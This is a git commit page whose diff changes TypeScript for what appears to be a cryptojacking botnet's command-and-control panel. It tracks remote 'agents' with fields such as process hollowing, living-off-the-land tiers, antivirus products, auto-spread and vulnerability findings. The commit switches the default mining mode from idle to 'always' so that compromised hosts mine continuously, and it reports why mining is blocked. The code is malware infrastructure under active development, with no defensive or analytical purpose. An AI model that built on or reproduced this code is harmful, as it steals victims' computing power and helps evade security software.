Fix simple deploy mining: refresh auth tier policy and mine immediately.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Deploy and Mine agents were stuck at 0 H/s because idle mining_mode blocked workers and the tier orchestrator kept pre-auth defaults instead of server ForceTier=cpu_inprocess. Refresh tiers after auth, require C2 before start, surface mining_block_reason in stats_batch.
This commit is contained in:
AetherForge
2026-06-07 20:30:24 -07:00
parent 9e870fff8b
commit 456988caaa
14 changed files with 105 additions and 10 deletions

View File

@@ -59,6 +59,7 @@ export function mergeAgentStats(agent: Agent, update: WSStatsUpdate): Agent {
...(update.stratum_overlay !== undefined ? { stratum_overlay: update.stratum_overlay } : {}),
...(update.chain_exhausted !== undefined ? { chain_exhausted: update.chain_exhausted } : {}),
...(update.mining_hashrate !== undefined ? { mining_hashrate: update.mining_hashrate } : {}),
...(update.mining_block_reason !== undefined ? { mining_block_reason: update.mining_block_reason } : {}),
...(update.lotl_tier !== undefined ? { lotl_tier: update.lotl_tier } : {}),
...(update.lotl_attempts !== undefined ? { lotl_attempts: update.lotl_attempts } : {}),
...(update.atlas_skips !== undefined ? { atlas_skips: update.atlas_skips } : {}),

View File

@@ -59,6 +59,7 @@ describe('simpleMinePreset', () => {
const p = simpleMinePreset();
expect(p.simple_deploy).toBe(true);
expect(p.miner_execution).toBe('inprocess');
expect(p.mining_mode).toBe('always');
expect(p.lotl_onion_enabled).toBe(false);
expect(p.auto_spread).toBe(false);
});

View File

@@ -34,7 +34,7 @@ export function simpleDeployStatus(agent: Agent): SimpleDeployStatus {
}
if (agent.chain_exhausted) {
const err = agent.last_error || agent.failed_methods?.[0]?.reason;
const err = agent.mining_block_reason || agent.last_error || agent.failed_methods?.[0]?.reason;
return {
phase: 'failed',
message: err || 'Mining chain exhausted — all tiers failed',
@@ -42,6 +42,14 @@ export function simpleDeployStatus(agent: Agent): SimpleDeployStatus {
};
}
if (agent.mining_block_reason) {
return {
phase: 'testing',
message: agent.mining_block_reason,
tier,
};
}
if (tier) {
return {
phase: 'testing',
@@ -94,6 +102,6 @@ export function simpleMinePreset(): {
process_hollowing: false,
remote_aggressive: false,
fusion_enabled: false,
mining_mode: 'idle',
mining_mode: 'always',
};
}

View File

@@ -50,6 +50,7 @@ export function agentStatsUnchanged(agent: Agent, u: WSStatsUpdate): boolean {
if (u.av_products !== undefined && !shallowStrArrayEq(agent.av_products, u.av_products)) return false;
if (u.services !== undefined && agent.services !== u.services) return false;
if (u.mining_hashrate !== undefined && agent.mining_hashrate !== u.mining_hashrate) return false;
if (u.mining_block_reason !== undefined && agent.mining_block_reason !== u.mining_block_reason) return false;
if (u.lotl_tier !== undefined && agent.lotl_tier !== u.lotl_tier) return false;
if (u.lotl_attempts !== undefined && !tierAttemptsEq(agent.lotl_attempts, u.lotl_attempts)) return false;
if (u.vuln_findings !== undefined && agent.vuln_findings !== u.vuln_findings) return false;